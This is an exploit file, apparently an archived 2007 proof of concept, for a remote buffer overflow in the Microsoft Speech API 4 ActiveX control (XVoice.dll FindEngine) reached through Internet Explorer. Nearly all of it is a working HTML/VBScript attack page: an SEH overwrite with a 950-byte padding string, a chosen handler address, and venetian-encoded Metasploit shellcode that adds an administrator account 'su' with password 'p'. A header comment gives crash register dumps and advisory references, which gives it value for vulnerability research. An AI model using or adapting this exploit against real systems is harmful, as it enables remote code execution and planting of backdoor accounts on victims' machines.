ms-api-sp4.txt
Posted on 14 June 2007
<!-- 01/06/2007 23.19.50 Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll) / DirectSpeechRecognition Module (Xlisten.dll) remote buffer overflow exploit / 2k sp4 seh version both the dlls are located in %SystemRoot%speech folder and they are vulnerable to the same issue. while on 2k it depends on activex settings, under xp they are both set to "safe for a trusted caller", i.e. Internet Explorer registers after that some chars are passed to ModeName argument of FindEgine method and seh handler is overwritten: EAX 00000000 ECX 00000000 EDX 02770608 EBX 6535F590 XVoice.6535F590 ESP 0012DBB8 UNICODE "AAAA... EBP 00410041 IEXPLORE.00410041 ESI 001921BC EDI 0012DBF8 UNICODE "AAAA... EIP 00410041 IEXPLORE.00410041 I succesfully run this code on win2k, patching the shellcode with the venetian technique, adding an Administrator account, against IE6. Under xp, with predefined settings, Internet Explorer immediately crashes without warning the user first, and it's still possible running arbitrary code, it depends on jumpable Unicode addresses loaded in memory by A. Micalizzi (aka rgod) site: retrogod.altervista.org ***note: this was indipendently discovered by me and Will Dormann during the same period, documented here: http://www.kb.cert.org/vuls/id/507433 http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx the affected package, http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp is still distributed with the kill bit not set --> <html> <object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT> <script language='vbscript'> targetFile = "C:WINNTspeechXVoice.dll" memberName = "FindEngine" progid = "ACTIVEVOICEPROJECTLib.DirectSS" argCount = 28 REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p' scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c") nop1 = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40") c1 = unescape("%6E") : REM add byte ptr esi, ch (as nop) c2 = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi c3 = unescape("%6E%40%6E%05%18%09") : REM add eax c4 = unescape("%6E%40%6E%2d%11%09") : REM sub eax c5 = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice code = nop1 & c1 & c2 & c3 & c4 & c5 & _ unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40") seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment EngineID="default" MfgName="default" ProductName="default" ModeID="default" ModeName= suntzu LanguageID=1 Dialect="default" Speaker="default" Style="default" Gender=1 Age=1 Features=1 Interfaces=1 EngineFeatures=1 RankEngineID=1 RankMfgName=1 RankProductName=1 RankModeID=1 RankModeName=1 RankLanguage=1 RankDialect=1 RankSpeaker=1 RankStyle=1 RankGender=1 RankAge=1 RankFeatures=1 RankInterfaces=1 RankEngineFeatures=1 DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures </script> </html>
